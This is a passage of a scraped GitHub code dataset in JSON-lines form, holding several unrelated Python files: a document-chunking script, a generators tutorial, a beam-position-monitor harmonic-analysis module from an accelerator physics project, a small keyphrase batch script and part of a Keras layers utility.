parser.add_argument(\"--max_doc_length\", dest=\"max_doc_length\", default=200, type=int, help=\"Maximum length per document in words\")\n parser.add_argument(\"--output\", dest=\"output\", help=\"Output file\")\n args = parser.parse_args()\n \n\nofd = {}\nwith gzip.open(args.input, \"rt\") as ifd,gzip.open(args.output,\"wt\") as ofd:\n for line in ifd:\n data = json.loads(line)\n lang_script = \"\"\n txt = []\n if data[\"label\"] == \"armeno_turkish\":\n lang_script = \"tur_Armenian\"\n txt = (data[\"content\"]).get(\"Armenian\")\n else:\n longest_lang = get_longest_lang(data[\"content\"])\n lang_script = \"{}_{}\".format(data['label'], longest_lang)\n txt = (data[\"content\"][longest_lang]) # only keep script of longest length\n \n #txt = [x.strip() for x in txt]\n if txt:\n tokens = \"\".join(txt)\n sub_len = args.max_doc_length\n if tokens:\n for start in range(0, len(tokens), sub_len):\n end = start + sub_len\n sub_tokens = tokens[start:end] # using the fact python will just go to end of str\n sub_document = \"\".join(sub_tokens)\n j = {\n \"htid\": data[\"htid\"],\n \"label\": lang_script,\n \"content\": sub_document,\n \"subdoc_num\": start // sub_len,\n }\n ofd.write(json.dumps(j) + \"\\n\")\n","repo_name":"comp-int-hum/Armeno-Turkish-Collection","sub_path":"scripts/clean_chunk_examples.py","file_name":"clean_chunk_examples.py","file_ext":"py","file_size_in_byte":2437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"72147856392","text":"'''Generators\n\nGenerators are a type of iterable, like lists or tuples. \nUnlike lists, they don't allow indexing with arbitrary indices,\n but they can still be iterated through with for loops. \nThey can be created using functions and the yield statement.\nExample:'''\ndef countdown():\n\ti=5\n\twhile i > 0:\n\t\tyield i\n\t\ti -= 1\n\n\t\tfor i in countdown():\n\t\t\tprint(i)\n\n'''The yield statement is used to define a generator, \nreplacing the return of a function to provide a result to its caller without destroying local variables'''\n\n'''Due to the fact that they yield one item at a time, generators don't have the memory restrictions of lists. \nIn fact, they can be infinite!\n'''\ndef infinite_sevens():\n\twhile True:\n\t\tyield 7 \n\n\t\tfor i in infinite_sevens():\n\t\t\tprint(i)\n\n\n#In short, generators allow you to declare a function that behaves like an iterator, i.e. it can be used in a for loop.\n\n#Fill in the blanks to create a prime number generator, that yields all prime numbers in a loop. (Consider having an is_prime function already defined):\n\n\ndef get_primes():\n\tnum = 2\n\twhile True:\n\t\tif is_prime(num):\n\t\t\tyield num\n\t\t\tnum += 1","repo_name":"code0monkey1/PythonFunctions","sub_path":"generators.py","file_name":"generators.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"4056082148","text":"from __future__ import print_function\nimport os\nimport multiprocessing\nimport logging\nimport numpy as np\nfrom harmonic_analysis import HarmonicAnalysis\n\nimport _python_path_manager\n_python_path_manager.append_betabeat()\n\nfrom Python_Classes4MAD import metaclass # noqa\nfrom Utilities import tfs_file_writer # noqa\nfrom Utilities import iotools # noqa\nfrom Utilities import outliers # noqa\n\nLOGGER = logging.getLogger(__name__)\n\nPI2I = 2 * np.pi * complex(0, 1)\n\nHEADERS = {\"X\": [\"NAME\", \"S\", \"BINDEX\", \"SLABEL\", \"TUNEX\", #\"TUNEZ\"\n \"NOISE\", \"PK2PK\", \"CO\", \"CORMS\", \"AMPX\",\n \"MUX\", \"AVG_AMPX\", \"AVG_MUX\", \"BPM_RES\"],\n \"Y\": [\"NAME\", \"S\", \"BINDEX\", \"SLABEL\", \"TUNEY\", #\"TUNEZ\"\n \"NOISE\", \"PK2PK\", \"CO\", \"CORMS\",\n \"AMPY\", \"MUY\", \"AVG_AMPY\", \"AVG_MUY\", \"BPM_RES\"]}\n\nSPECTR_COLUMN_NAMES = [\"FREQ\", \"AMP\"]\n\nRESONANCE_LISTS = {\"X\": ((1, 0, 0), (0, 1, 0), (-2, 0, 0), (0, 2, 0), (-3, 0, 0), (-1, -1, 0),\n (2, -2, 0), (0, -2, 0), (1, -2, 0), (-1, 3, 0), (1, 2, 0), (-2, 1, 0),\n (1, 1, 0), (2, 0, 0), (-1, -2, 0), (3, 0, 0), (0, 0, 1)),\n \"Y\": ((0, 1, 0), (1, 0, 0), (-1, 1, 0), (-2, 0, 0), (1, -1, 0), (0, -2, 0),\n (0, -3, 0), (2, 1, 0), (-1, 3, 0), (1, 1, 0), (-1, 2, 0), (0, 0, 1))}\n\nMAIN_LINES = {\"X\": (1, 0, 0),\n \"Y\": (0, 1, 0)}\n\nN_TO_P = {\"0\": \"X\",\n \"1\": \"Y\"}\n\nDEFAULT_DFT_METHOD = \"laskar\"\n\nDEF_TUNE_TOLERANCE = 0.001\n\nNUM_HARMS = 300\n\nPROCESSES = multiprocessing.cpu_count()\n\n\nclass DriveAbstract(object):\n def __init__(self,\n tunes,\n plane,\n nattunes=None,\n tolerance=DEF_TUNE_TOLERANCE,\n start_turn=0,\n end_turn=None,\n sequential=False):\n # Inputs\n self._tunes = tunes\n self._plane = plane\n self._nattunes = nattunes\n self._tolerance = tolerance\n self._start_turn = start_turn\n self._end_turn = end_turn\n self._sequential = sequential\n self._compute_resonances_freqs()\n # Outputs\n self._measured_tune = None\n self._bpm_results = []\n\n @property\n def measured_tune(self):\n if self._measured_tune is None:\n raise ValueError(\n \"Value not computed yet. Run start_analysis() first\"\n )\n return self._measured_tune\n\n @property\n def bpm_results(self):\n if len(self._bpm_results) == 0:\n raise ValueError(\n \"Value not computed yet. Run start_analysis() first\"\n )\n return self._bpm_results\n\n # Public methods\n def start_analysis(self):\n self._bpm_processors = []\n self._do_analysis()\n self._gather_results()\n\n def write_full_results(self):\n LOGGER.debug(\"Writting results...\")\n self._create_lin_files()\n iotools.create_dirs(self._spectr_outdir)\n lin_outfile = self._lin_outfile\n for bpm_results in self.bpm_results:\n self._write_single_bpm_results(\n lin_outfile,\n bpm_results\n )\n plane_number = \"1\" if self._plane == \"X\" else \"2\"\n tune, rms_tune = self._measured_tune\n lin_outfile.add_float_descriptor(\"Q\" + plane_number, tune)\n lin_outfile.add_float_descriptor(\"Q\" + plane_number + \"RMS\",\n rms_tune)\n lin_outfile.order_rows(\"S\")\n lin_outfile.write_to_file()\n LOGGER.debug(\"Writting done.\")\n ######\n\n # Methods to override in subclasses:\n def _do_analysis(self):\n raise NotImplementedError(\"Dont instantiate this abstract class!\")\n\n def _get_outfile_name(self):\n raise NotImplementedError(\"Dont instantiate this abstract class!\")\n ######\n\n # Private methods\n def _compute_resonances_freqs(self):\n \"\"\"\n Computes the frequencies for all the resonances listed in the\n constante RESONANCE_LISTS, together with the natural tunes\n frequencies if given.\n \"\"\"\n tune_x, tune_y, tune_z = self._tunes\n self._resonances_freqs = {}\n freqs = [(resonance_h * tune_x) +\n (resonance_v * tune_y) +\n (resonance_l * tune_z)\n for (resonance_h,\n resonance_v,\n resonance_l) in RESONANCE_LISTS[self._plane]]\n # Move to [0, 1] domain.\n freqs = [freq + 1. if freq < 0. else freq for freq in freqs]\n self._resonances_freqs[self._plane] = dict(\n zip(RESONANCE_LISTS[self._plane], freqs)\n )\n if self._nattunes is not None:\n nattune_x, nattune_y, nattune_z = self._nattunes\n if self._plane == \"X\" and nattune_x is not None:\n self._resonances_freqs[\"X\"][\"NATX\"] = nattune_x\n if self._plane == \"Y\" and nattune_y is not None:\n self._resonances_freqs[\"Y\"][\"NATY\"] = nattune_y\n if nattune_z is not None:\n self._resonances_freqs[self._plane][\"NATZ\"] = nattune_z\n\n def _create_lin_files(self):\n file_name = self._get_outfile_name(self._plane)\n lin_outfile = tfs_file_writer.TfsFileWriter(\n os.path.join(self._output_dir, file_name)\n )\n headers = HEADERS[self._plane]\n for resonance in RESONANCE_LISTS[self._plane]:\n if resonance == MAIN_LINES[self._plane]:\n continue\n x, y, z = resonance\n if z == 0:\n resstr = (str(x) + str(y)).replace(\"-\", \"_\")\n else:\n resstr = (str(x) + str(y) + str(z)).replace(\"-\", \"_\")\n headers.extend([\"AMP\" + resstr, \"PHASE\" + resstr])\n headers.extend([\"NATTUNE\" + self._plane,\n \"NATAMP\" + self._plane])\n lin_outfile.add_column_names(headers)\n lin_outfile.add_column_datatypes(\n [\"%s\"] + [\"%le\"] * (len(headers) - 1))\n self._lin_outfile = lin_outfile\n\n def _gather_results(self):\n LOGGER.debug(\"Gathering results...\")\n self._measured_tune = self._compute_tune_stats()\n tune, _ = self._measured_tune\n for bpm_processor in self._bpm_processors:\n try:\n bpm_results = bpm_processor.bpm_results\n except AttributeError:\n continue\n (bpm_results.amp_from_avg,\n bpm_results.phase_from_avg) = self._compute_from_avg(\n tune,\n bpm_processor\n )\n self._bpm_results.append(bpm_results)\n\n def _write_single_bpm_results(self, lin_outfile, bpm_results):\n row = [bpm_results.name, bpm_results.position, 0, 0, bpm_results.tune,\n 0, bpm_results.peak_to_peak, bpm_results.closed_orbit,\n bpm_results.closed_orbit_rms, bpm_results.amplitude,\n bpm_results.phase, bpm_results.amp_from_avg,\n bpm_results.phase_from_avg, bpm_results.bpm_resolution]\n resonance_list = RESONANCE_LISTS[self._plane]\n main_resonance = MAIN_LINES[self._plane]\n for resonance in resonance_list:\n if resonance != main_resonance:\n if resonance in bpm_results.resonances:\n _, coefficient = bpm_results.resonances[resonance]\n row.append(np.abs(coefficient) / bpm_results.amplitude)\n row.append(np.angle(coefficient) / (2 * np.pi))\n else:\n row.append(0.0)\n row.append(0.0)\n\n col_name = \"NAT\" + self._plane.upper()\n try:\n natural_freq, natural_coef = bpm_results.resonances[col_name]\n row.append(natural_freq)\n row.append(np.abs(natural_coef) / bpm_results.amplitude)\n except KeyError:\n row.append(0.0)\n row.append(0.0)\n lin_outfile.add_table_row(row)\n\n def _compute_tune_stats(self):\n tune_list = []\n for bpm_processor in self._bpm_processors:\n try:\n bpm_results = bpm_processor.bpm_results\n except AttributeError:\n continue\n tune_list.append(bpm_results.tune)\n tune_array=np.array(tune_list)\n #tune_array = tune_array[outliers.get_filter_mask(tune_array, limit=1e-5)] #TODO propagate the limit from options\n return np.mean(tune_array), np.std(tune_array)\n\n def _compute_from_avg(self, tune, bpm_results):\n coef = bpm_results.get_coefficient_for_freq(tune)\n return np.abs(coef), np.angle(coef) / (2 * np.pi)\n\n\nclass DriveFile(DriveAbstract):\n\n def __init__(self,\n input_file,\n tunes,\n plane,\n nattunes=None,\n tolerance=DEF_TUNE_TOLERANCE,\n start_turn=0,\n end_turn=None,\n output_dir=None,\n sequential=False):\n super(DriveFile, self).__init__(\n tunes,\n plane,\n nattunes,\n tolerance,\n start_turn,\n end_turn,\n sequential,\n )\n self._input_file = input_file\n if output_dir is None:\n self._output_dir = os.path.dirname(input_file)\n else:\n self._output_dir = output_dir\n self._spectr_outdir = os.path.join(\n self._output_dir, \"BPM\"\n )\n self._create_spectr_outdir()\n\n def _create_spectr_outdir(self):\n if not os.path.isdir(self._spectr_outdir):\n os.mkdir(self._spectr_outdir)\n\n def _get_outfile_name(self, plane):\n return os.path.basename(self._input_file) + \"_lin\" + plane.lower()\n\n def _do_analysis(self):\n lines = []\n with open(self._input_file, \"r\") as records:\n for line in records:\n bpm_data = line.split()\n try:\n bpm_plane = N_TO_P[bpm_data.pop(0)]\n except KeyError:\n continue # Ignore comments\n if bpm_plane == self._plane:\n lines.append(bpm_data)\n else:\n continue\n pool = multiprocessing.Pool(PROCESSES)\n num_of_chunks = int(len(lines) / PROCESSES) + 1\n for bpm_datas in DriveFile.chunks(lines, num_of_chunks):\n self._launch_bpm_chunk_analysis(bpm_datas, pool)\n pool.close()\n pool.join()\n\n @staticmethod\n def chunks(l, n):\n \"\"\"Yield successive n-sized chunks from l.\"\"\"\n for i in xrange(0, len(l), n): # noqa xrange doesn't exist in Python3\n yield l[i:i + n]\n\n def _launch_bpm_chunk_analysis(self, bpm_datas, pool):\n args = (self._plane, self._start_turn, self._end_turn, self._tolerance,\n self._resonances_freqs, self._spectr_outdir, bpm_datas)\n if self._sequential:\n LOGGER.info(\"Harpy in sequential mode\")\n self._bpm_processors.extend(_analyze_bpm_chunk(*args))\n else:\n pool.apply_async(\n _analyze_bpm_chunk,\n args,\n callback=self._bpm_processors.extend\n )\n\n\n# Global space ################################################\ndef _analyze_bpm_chunk(plane, start_turn, end_turn, tolerance,\n resonances_freqs, spectr_outdir, bpm_datas):\n \"\"\"\n This function triggers the per BPM data processing.\n It has to be outside of the classes to make it pickable for\n the multiprocessing module.\n \"\"\"\n results = []\n LOGGER.debug(\"Staring process with chunksize\" + len(bpm_datas))\n for bpm_data in bpm_datas:\n name = bpm_data.pop(0)\n position = bpm_data.pop(0)\n samples = _BpmProcessor._compute_bpm_samples(\n bpm_data, start_turn, end_turn\n )\n bpm_processor = _BpmProcessor(\n start_turn, end_turn, tolerance,\n resonances_freqs, spectr_outdir,\n plane, position, name, samples\n )\n bpm_processor.do_bpm_analysis()\n results.append(bpm_processor)\n return results\n###############################################################\n\n\nclass DriveMatrix(DriveAbstract):\n def __init__(self,\n bpm_names,\n bpm_matrix,\n tunes,\n plane,\n output_file,\n model_path,\n nattunes=None,\n tolerance=DEF_TUNE_TOLERANCE,\n start_turn=0,\n end_turn=None,\n sequential=False):\n super(DriveMatrix, self).__init__(\n tunes,\n plane,\n nattunes,\n tolerance,\n start_turn,\n end_turn,\n sequential,\n )\n self._bpm_names = bpm_names\n self._bpm_matrix = bpm_matrix\n self._model_path = model_path\n self._output_filename = os.path.basename(output_file)\n self._output_dir = os.path.dirname(output_file)\n self._spectr_outdir = os.path.join(\n self._output_dir, \"BPM\"\n )\n\n def _get_outfile_name(self, plane):\n return self._output_filename\n\n def _do_analysis(self):\n model = metaclass.twiss(self._model_path)\n pool = multiprocessing.Pool(PROCESSES)\n for bpm_index in range(len(self._bpm_names)):\n bpm_name = self._bpm_names[bpm_index]\n bpm_row = self._bpm_matrix[bpm_index]\n try:\n bpm_position = model.S[model.indx[bpm_name]]\n except KeyError:\n LOGGER.debug(\"Cannot find\" + bpm_name + \"in model.\")\n continue\n self._launch_bpm_row_analysis(bpm_position, bpm_name,\n bpm_row, pool)\n pool.close()\n pool.join()\n\n def _launch_bpm_row_analysis(self, bpm_position,\n bpm_name, bpm_row, pool):\n args = (self._plane, bpm_name, bpm_row, bpm_position,\n self._start_turn, self._end_turn, self._tolerance,\n self._resonances_freqs, self._spectr_outdir)\n if self._sequential:\n self._bpm_processors.extend(_analyze_bpm_samples(*args))\n else:\n pool.apply_async(\n _analyze_bpm_samples,\n args,\n callback=self._bpm_processors.extend\n )\n\n\n# Global space ################################################\ndef _analyze_bpm_samples(bpm_plane, bpm_name, bpm_samples, bpm_position,\n start_turn, end_turn, tolerance,\n resonances_freqs, spectr_outdir):\n \"\"\"\n This function triggers the per BPM data processing.\n It has to be outside of the classes to make it pickable for\n the multiprocessing module.\n \"\"\"\n results = []\n LOGGER.debug(\"Staring process for \" + bpm_name)\n bpm_processor = _BpmProcessor(\n start_turn, end_turn, tolerance,\n resonances_freqs, spectr_outdir,\n bpm_plane, bpm_position, bpm_name, bpm_samples\n )\n bpm_processor.do_bpm_analysis()\n results.append(bpm_processor)\n return results\n###############################################################\n\nclass DriveSvd(DriveAbstract):\n def __init__(self,\n bpm_names,\n bpm_matrix,\n usv,\n tunes,\n plane,\n output_file,\n model_path,\n nattunes=None,\n tolerance=DEF_TUNE_TOLERANCE,\n start_turn=0,\n end_turn=None,\n sequential=False,\n fast=False):\n super(DriveSvd, self).__init__(\n tunes,\n plane,\n nattunes,\n tolerance,\n start_turn,\n end_turn,\n sequential,\n )\n self._bpm_names = bpm_names\n self._bpms_matrix = bpm_matrix \n self._usv = usv\n self._model_path = model_path\n self._output_filename = os.path.basename(output_file)\n self._output_dir = os.path.dirname(output_file)\n self._spectr_outdir = os.path.join(\n self._output_dir, \"BPM\"\n )\n self._fast=fast\n\n\n def _get_outfile_name(self, plane):\n return self._output_filename\n\n def _do_analysis(self):\n USV = self._usv\n SV = np.dot(np.diag(USV[1]), USV[2])\n if self._fast:\n number_of_harmonics = 300\n freqs = _laskar_per_mode(np.mean(SV,axis=0), number_of_harmonics)\n else:\n number_of_harmonics = 100\n pool = multiprocessing.Pool(np.min([PROCESSES, SV.shape[0]]))\n freqs = []\n for i in range(SV.shape[0]):\n args = (SV[i, :], number_of_harmonics)\n if self._sequential:\n freqs.extend(_laskar_per_mode(*args))\n else:\n pool.apply_async(_laskar_per_mode, args, callback=freqs.extend)\n pool.close()\n pool.join()\n frequencies = np.array(freqs)\n svd_coefficients = self.compute_coefs_for_freqs(SV, frequencies)\n bpms_coefficients = np.dot(USV[0], svd_coefficients)\n\n model = metaclass.twiss(self._model_path)\n pool = multiprocessing.Pool(PROCESSES)\n for bpm_index in range(len(self._bpm_names)):\n bpm_name = self._bpm_names[bpm_index]\n bpm_coefficients = bpms_coefficients[bpm_index, :]\n bpm_samples = self._bpms_matrix[bpm_index, :]\n try:\n bpm_position = model.S[model.indx[bpm_name]]\n except KeyError:\n LOGGER.debug(\"Cannot find\" + bpm_name + \"in model.\")\n continue\n args = (self._plane, bpm_name, bpm_coefficients, frequencies, bpm_samples, bpm_position,\n self._start_turn, self._end_turn, self._tolerance,\n self._resonances_freqs, self._spectr_outdir)\n if self._sequential:\n self._bpm_processors.append(_analyze_bpm_samples_svd(*args))\n else:\n pool.apply_async(\n _analyze_bpm_samples_svd,\n args,\n callback=self._bpm_processors.append\n )\n pool.close()\n pool.join()\n\n def compute_coefs_for_freqs(self, samples, freqs):\n n = samples.shape[1]\n coefficients = np.dot(samples, np.exp(-PI2I * np.outer(np.arange(n), freqs))) / n\n return coefficients\n\n\n # Global space ################################################\ndef _analyze_bpm_samples_svd(bpm_plane, bpm_name, bpm_coefficients, frequencies, bpm_samples, bpm_position,\n start_turn, end_turn, tolerance,\n resonances_freqs, spectr_outdir):\n bpm_processor = _BpmProcessor(\n start_turn, end_turn, tolerance,\n resonances_freqs, spectr_outdir,\n bpm_plane, bpm_position, bpm_name, None\n )\n resonances = bpm_processor.resonance_search(frequencies, bpm_coefficients)\n bpm_processor.harmonic_analysis = HarmonicAnalysis(bpm_samples)\n bpm_processor.get_bpm_results(resonances, frequencies, bpm_coefficients)\n bpm_processor.write_bpm_spectrum(bpm_name, bpm_plane, np.abs(bpm_coefficients), frequencies)\n return bpm_processor\n\n\ndef _laskar_per_mode(sv, number_of_harmonics):\n har_analysis = HarmonicAnalysis(sv)\n freqs, _ = har_analysis.laskar_method(number_of_harmonics)\n return freqs\n###########################################################\n\n\nclass _BpmProcessor(object):\n def __init__(self, start_turn, end_turn, tolerance,\n resonances_freqs, spectr_outdir,\n plane, position, name, samples):\n self._start_turn = start_turn\n self._end_turn = end_turn\n self._tolerance = tolerance\n self._spectr_outdir = spectr_outdir\n self._plane = plane\n self._name = name\n self._position = position\n self._main_resonance = MAIN_LINES[self._plane]\n self._resonances_freqs = resonances_freqs[self._plane]\n self._samples = samples\n self.harmonic_analysis = None\n self.bpm_results = None\n\n def do_bpm_analysis(self):\n self.harmonic_analysis = HarmonicAnalysis(self._samples)\n if DEFAULT_DFT_METHOD == \"laskar\":\n frequencies, coefficients = self.harmonic_analysis.laskar_method(\n NUM_HARMS\n )\n elif DEFAULT_DFT_METHOD == \"fft\":\n frequencies, coefficients = self.harmonic_analysis.fft_method(\n NUM_HARMS\n )\n resonances = self.resonance_search(\n frequencies, coefficients,\n )\n self.write_bpm_spectrum(self._name, self._plane,\n np.abs(coefficients), frequencies)\n LOGGER.debug(\"Done: \" + self._name + \", plane:\" + self._plane)\n self.get_bpm_results(resonances, frequencies, coefficients)\n\n def get_coefficient_for_freq(self, freq):\n return self.harmonic_analysis.get_coefficient_for_freq(freq)\n\n def get_bpm_results(self, resonances, frequencies, coefficients):\n try:\n tune, main_coefficient = resonances[self._main_resonance]\n except KeyError:\n LOGGER.debug(\"Cannot find main resonance for\" + self._name +\n \"in plane\" + self._plane)\n return None\n amplitude = np.abs(main_coefficient)\n phase = np.angle(main_coefficient)\n\n bpm_results = _BpmResults(self)\n bpm_results.tune = tune\n bpm_results.phase = phase / (2 * np.pi)\n bpm_results.amplitude = amplitude\n bpm_results.frequencies = frequencies\n bpm_results.coefficients = coefficients\n bpm_results.resonances = resonances\n bpm_results.peak_to_peak = self.harmonic_analysis.peak_to_peak\n bpm_results.closed_orbit = self.harmonic_analysis.closed_orbit\n bpm_results.closed_orbit_rms = self.harmonic_analysis.closed_orbit_rms\n self.bpm_results = bpm_results\n\n @staticmethod\n def _compute_bpm_samples(bpm_samples_str, start_turn, end_turn):\n data_length = len(bpm_samples_str)\n if end_turn is not None and end_turn < data_length:\n end_index = end_turn\n else:\n end_index = data_length\n return np.array(\n [float(sample) for sample in bpm_samples_str[start_turn:end_index]]\n )\n\n def write_bpm_spectrum(self, bpm_name, bpm_plane, amplitudes, freqs):\n file_name = bpm_name + \".\" + bpm_plane.lower()\n spectr_outfile = tfs_file_writer.TfsFileWriter(\n os.path.join(self._spectr_outdir, file_name)\n )\n spectr_outfile.add_column_names(SPECTR_COLUMN_NAMES)\n spectr_outfile.add_column_datatypes([\"%le\"] * (len(SPECTR_COLUMN_NAMES)))\n for index, amplitude in enumerate(amplitudes):\n spectr_outfile.add_table_row([freqs[index], amplitude])\n spectr_outfile.write_to_file()\n\n def resonance_search(self, frequencies, coefficients):\n np_frequencies = np.array(frequencies)\n np_coefficients = np.array(coefficients)\n found_resonances = {}\n bins = [((resonance_freq - self._tolerance,\n resonance_freq + self._tolerance), resonance)\n for resonance, resonance_freq in self._resonances_freqs.iteritems()]\n for bin, resonance in bins:\n min, max = bin\n indices = np.where((np_frequencies >= min) & (np_frequencies <= max))[0]\n if len(indices) == 0:\n continue\n max_index = indices[np.argmax(np.abs(np_coefficients[indices]))]\n found_resonances[resonance] = (np_frequencies[max_index], np_coefficients[max_index])\n # TODO: Is it right to remove already used lines? I dont think so...:\n np_frequencies[max_index], np_coefficients[max_index] = -100000., 0.\n return found_resonances\n\n\nclass _BpmResults(object):\n\n def __init__(self, bpm_processor):\n self.name = bpm_processor._name\n self.position = bpm_processor._position\n self.tune = None\n self.phase = None\n self.avphase = None\n self.amplitude = None\n self.frequencies = None\n self.coefficients = None\n self.bpm_processor = None\n self.bpm_resolution = -1.\n self.resonances = None\n self.peak_to_peak = None\n self.closed_orbit = None\n self.closed_orbit_rms = None\n","repo_name":"pylhc/harpy","sub_path":"drive.py","file_name":"drive.py","file_ext":"py","file_size_in_byte":24586,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"19889430217","text":"import os\r\n\r\npath=\"/home/varun/Documents/Research/keyphrase/test_transcript/\"\r\ntxt=[]\r\n\r\ndef updatekey(x):\r\n fkey=open(\"txt2keyphrase.txt\",\"w\")\r\n for t in x:\r\n fkey.write(str(t)+\"\\n\")\r\n fkey.close()\r\n\r\ndef readtxtfile():\r\n tkey=open(\"txt2keyphrase.txt\")\r\n key=tkey.read()\r\n txt=key.split(\"\\n\")\r\n return txt\r\n \r\ndef callshell():\r\n for f in os.listdir(path):\r\n if f not in txt:\r\n command=\"sh ss2.sh \\\"\"+os.path.join(path,f)+\"\\\"\"\r\n os.system(command)\r\n print(command)\r\n txt.append(f)\r\n updatekey(txt)\r\n else:\r\n print(\"FILE: \"+f+\" keyphrase already extracted\")\r\n\r\ntxt=readtxtfile()\r\ncallshell()\r\n","repo_name":"amudalab/concept-graphs","sub_path":"Google PDF/txt2keyphrase.py","file_name":"txt2keyphrase.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"2417877535","text":"import re\nimport sys\nimport tensorflow as tf\nfrom functools import partial\n\ntry:\n import keras\n import keras.backend as K\n import keras.layers as KL\n from keras.layers import *\nexcept ImportError:\n import tensorflow.keras as keras\n import tensorflow.keras.backend as K\n import tensorflow.keras.layers as KL\n from tensorflow.keras.layers import *\n\n# KERAS_VERSION = keras.__version__\n\ncurrent_module = sys.modules[__name__]\n# CHANNEL_AXIS = -1 if K.image_data_format() == 'channels_last' else 1\n\n######################################################\n################# Wrapper Funciton #################\n######################################################\n\n## TODO: When a list of list is given, generated nested outputs (like for resnet blocks)\n## TODO: currently kwargs is not used, try add global parameter control for **kwargs\ndef Unamed(configs, name=None, **kwargs):\n \"\"\" Build network based on abstract inputs. \n configs: list of (layer_name, input_node_ids, function, parameters)\n layer_name (str): default is None\n input_node_ids: one of (int, list, tuple, dict)\n int: a single tensor\n list: for functions take a list of tensors as single input\n tuple: for functions take lots of inputs, each is a single tensor\n dict: specify name=val\n function (str): the function name in keras_layers of keras.layers\n parameters (dict): the named parameters for function\n \"\"\"\n def _call(tensor_list, l_name=None, indices=-1, layer=None, args={}):\n if layer is not None:\n if isinstance(layer, str):\n layer = getattr(current_module, layer)\n elif isinstance(layer, tuple):\n layer = getattr(layer[0], layer[1])\n # args.update(kwargs)\n # args = dict((k, args[k]) for inspect.getargspec(layer)[0])\n layer = layer(name=x_name(name, l_name), **args)\n # print(\"Cannot create layer: %s(name=%s, %s)\" % \n # (layer, c_name, \", \".join(\"=\".join(_) for _ in args.items())))\n if isinstance(indices, list):\n x = [None if _ is None else tensor_list[_] for _ in indices]\n return layer(x) if layer is not None else x\n elif isinstance(indices, tuple):\n x = [None if _ is None else tensor_list[_] for _ in indices]\n return layer(*x) if layer is not None else x\n elif isinstance(indices, dict):\n x = dict([(k, None if _ is None else tensor_list[_]) for k, _ in indices.items()])\n return layer(**x) if layer is not None else x\n elif isinstance(indices, int):\n x = tensor_list[indices]\n return layer(x) if layer is not None else x\n else:\n raise \"Unsupported config (indices) type!\"\n \n def f(x):\n if not configs:\n return x\n nodes_memo = [_ for _ in x] if isinstance(x, list) else [x]\n for config in configs:\n if config:\n r = _call(nodes_memo, *config)\n nodes_memo.append(r)\n return r\n return f\n\n\ndef x_name(name=None, suffix=None):\n if name is None or suffix is None:\n return None\n else:\n return ('%s_%s' % (name, suffix)).strip('_')\n\n\n######################################################\n################# Customize Layers #################\n######################################################\nclass BatchNormalization(KL.BatchNormalization):\n \"\"\" Hard code trainable status of the Keras BatchNormalization layers.\n Make BN layers functions as a linear normalization layer.\n \n Two cases:\n 1. Batch normalization has a negative effect on training if batches \n are small (like in Mask RCNN). So this layer is sometimes frozen.\n 2. In GAN, when freeze a model with (model.trainable = False). BN \n layers are still updating self.moving_mean and self.moving_variance. \n We don't want this when freeze generator and train discriminator.\n \n Official discussion of BN problem:\n https://github.com/keras-team/keras/issues/4762#issuecomment-299606870\n \n \"\"\"\n def call(self, inputs, training=None):\n \"\"\"\n Note about training values:\n None: Train BN layers. This is the normal mode\n False: Freeze BN layers. Good when batch size is small\n True: (don't use). Set layer in training mode even when making inferences\n \"\"\"\n return super(self.__class__, self).call(inputs, training=training)\n\n\ndef Add(name=None):\n def f(inputs):\n inputs = [_ for _ in inputs if _ is not None]\n if len(inputs) == 0:\n return None\n if len(inputs) == 1:\n return inputs[0]\n return KL.Add(name=name)(inputs)\n return f\n\n\ndef Multiply(name=None):\n def f(inputs):\n inputs = [_ for _ in inputs if _ is not None]\n if len(inputs) == 0:\n return None\n if len(inputs) == 1:\n return inputs[0]\n return KL.Multiply(name=name)(inputs)\n return f\n\n\ndef Concat(axis=-1, name=None):\n def f(inputs):\n inputs = [_ for _ in inputs if _ is not None]\n if len(inputs) == 0:\n return None\n if len(inputs) == 1:\n return inputs[0]\n return KL.Concatenate(axis, name=name)(inputs)\n return f\n\n\ndef FiLM(gamma_u=None, gamma_i=None, beta_u=None, beta_i=None, name=None):\n \"\"\" Return a generalized function to merge two feature_map.\n inputs: [v_user, v_item, b_user (None), b_item (None)]\n if film_funcs is None: \n outputs = v_user * v_item + b_user + b_item\n if film_funcs is not None:\n outputs = gamma_u(v_user) * gamma_i(v_item) + beta_u(b_user) + beta_i(b_item)\n Functions will ignore any inputs that is None and try to generate vectors.\n Functions will override inputs if there are conflicts.\n For instance: both beta_i and b_item are not None, beta_i(b_item) will replace b_item\n \n Some example:\n 1. Use drug to modulate cellline with FiLM:\n # cell * gamma(drug) + beta(drug)\n x = FiLM(gamma_i=f1, beta_i=f2)([v_cell, v_drug, None, v_drug])\n 2. basic CF + baseline\n # v_user * v_item + b_user + b_item\n x = FiLM()([v_cell, v_drug, b_user, b_item])\n \"\"\"\n def f(v_user, v_item=None, b_user=None, b_item=None):\n if gamma_u is not None:\n v_user = gamma_u(v_user)\n if gamma_i is not None and v_item is not None:\n v_item = gamma_i(v_item)\n if beta_u is not None and b_user is not None:\n b_user = beta_u(b_user)\n if beta_i is not None and b_item is not None:\n b_item = beta_i(b_item)\n return Add()([Multiply()([v_user, v_item]), b_user, b_item])\n return f\n\n\nclass GlobalDensePooling1D(KL.Dropout, KL.Dense):\n \"\"\" Copy from Dense and Dropout layer in keras.layers/tf.leras.layers.\n theoretically data_format should not be used here. It's used to \n check Pooling2D. But simply put here don't influence the result.\n K.normalize_data_format(data_format) is only used in keras, so use \n the function K.image_data_format() works for both tf.keras and keras.\n \"\"\"\n def __init__(self, data_format='channels_last', dropout_rate=0.0, \n noise_shape=None, seed=None, **kwargs):\n KL.Dense.__init__(self, units=1, **kwargs)\n # KL.Dropout.__init__(rate=dropout_rate, noise_shape=noise_shape, seed=seed)\n self.rate = min(1., max(0., dropout_rate))\n self.noise_shape = noise_shape\n self.seed = seed\n self.input_spec = KL.InputSpec(ndim=3)\n if data_format is None:\n data_format = K.image_data_format()\n if data_format not in {'channels_last', 'channels_first'}:\n raise ValueError('data_format must be in '\n '{\"channels_last\", \"channels_first\"}')\n self.data_format = data_format\n # self.data_format = K.normalize_data_format(data_format) # this function only work in keras\n \n def build(self, input_shape):\n assert len(input_shape) == 